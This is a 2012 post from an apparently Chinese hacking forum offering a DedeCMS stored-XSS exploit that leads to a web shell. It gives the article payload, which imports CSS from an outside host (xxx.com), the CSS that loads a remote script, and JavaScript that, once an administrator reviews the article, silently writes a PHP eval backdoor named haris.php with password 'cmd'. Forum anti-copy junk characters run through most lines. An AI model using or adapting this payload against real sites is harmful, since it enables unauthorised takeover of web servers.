找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1936|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
0 K2 A+ Z' F$ t; Q& [! R! R: m为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)) S; Q* _/ [+ f4 y
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。. c' u0 u3 v' E6 C: B( @
下面说说利用方法。! d9 i) e4 k5 m
条件有2个:2 _6 J7 `# I0 q- _
1.开启注册4 \5 `6 p4 s" T9 x0 h
2.开启投稿& }, c0 o+ b$ l* U6 n
注册会员----发表文章
& p4 T& |  b9 c* v3 W3 y3 B+ C; c: T内容填写:" p, X+ L1 T& t1 }! L5 _
复制代码
& T+ G3 ~% c, R( t6 z  z0 B<style>@im\port'\http://xxx.com/xss.css';</style>
6 H+ H% u/ Z; g# r( q新建XSS.Css! w5 n% J: _- M7 S; u; p
复制代码4 Y( Z- s7 x3 ^5 q0 V& x0 E$ p
.body{. \- a0 N' k  u* W3 S; q/ f
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
- |4 ], q! ^6 y! u% n新建xss.js 内容为  y7 o+ Z9 `" T
复制代码
! c% \% }0 s0 u7 ]  H6 ~1.var request = false;' w6 r2 k  v/ m/ M; r9 Z6 q8 ]: V+ x6 F
2.if(window.XMLHttpRequest) {
0 D( h" r/ V2 T- ]3.request = new XMLHttpRequest();
, Z% M6 A7 A' u7 G) `9 G) ]4.if(request.overrideMimeType) {9 m4 I! s4 {7 ^4 J
5.request.overrideMimeType('text/xml');
, h# i7 I! i# d6.}
/ G2 \/ A$ x( Y# W6 W7.} else if(window.ActiveXObject) {
( y9 @9 h, }+ m, S8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 F* y9 ~4 q: q! J! ~+ X/ E0 Q9.for(var i=0; i<versions.length; i++) {" V9 z; X, q) |
10.try {
2 z: a6 Q6 J/ J4 D# I0 \11.request = new ActiveXObject(versions);
9 M2 V" S% A' R12.} catch(e) {}* x6 Z: ]7 T, ~0 S( V6 D
13.}# C2 Q5 O* G6 Q  e0 t
14.}4 a$ W- ^4 _. I! P
15.xmlhttp=request;0 g" [- g5 [% W2 k% o! r; T
16.function getFolder( url ){7 X1 f( I8 g  ^' ?8 L* B7 `
17. obj = url.split('/')4 d) h. V$ p0 E) e! [/ x% B) {
18. return obj[obj.length-2]/ Z5 l" g  ?& B/ h6 K* t
19.}; n% _" {% s1 T  O! @& U6 z# C4 ]; [
20.oUrl = top.location.href;& m$ }* w+ P) M( {8 y/ c
21.u = getFolder(oUrl);( R$ V+ `. S5 o/ v! f
22.add_admin();
0 r9 c- }" D! s! ]23.function add_admin(){/ |# h& I' W4 O+ A! `0 B
24.var url= "/"+u+"/sys_sql_query.php";
$ c; h0 K8 u9 Y& k4 z25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";8 k( i# F( r( l; P
26.xmlhttp.open("POST", url, true);
8 I. M* L' _( r& D2 [: {! E0 [27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");' z8 D0 B( d# \( M3 @" N
28.xmlhttp.setRequestHeader("Content-length", params.length);
9 r# |% y2 a9 }5 A$ w29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
# L% E; P: V) M0 k" a; A. u30.xmlhttp.send(params);
" l+ _* w( X$ J31.}3 M6 Z9 W# H* ~6 x) w
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表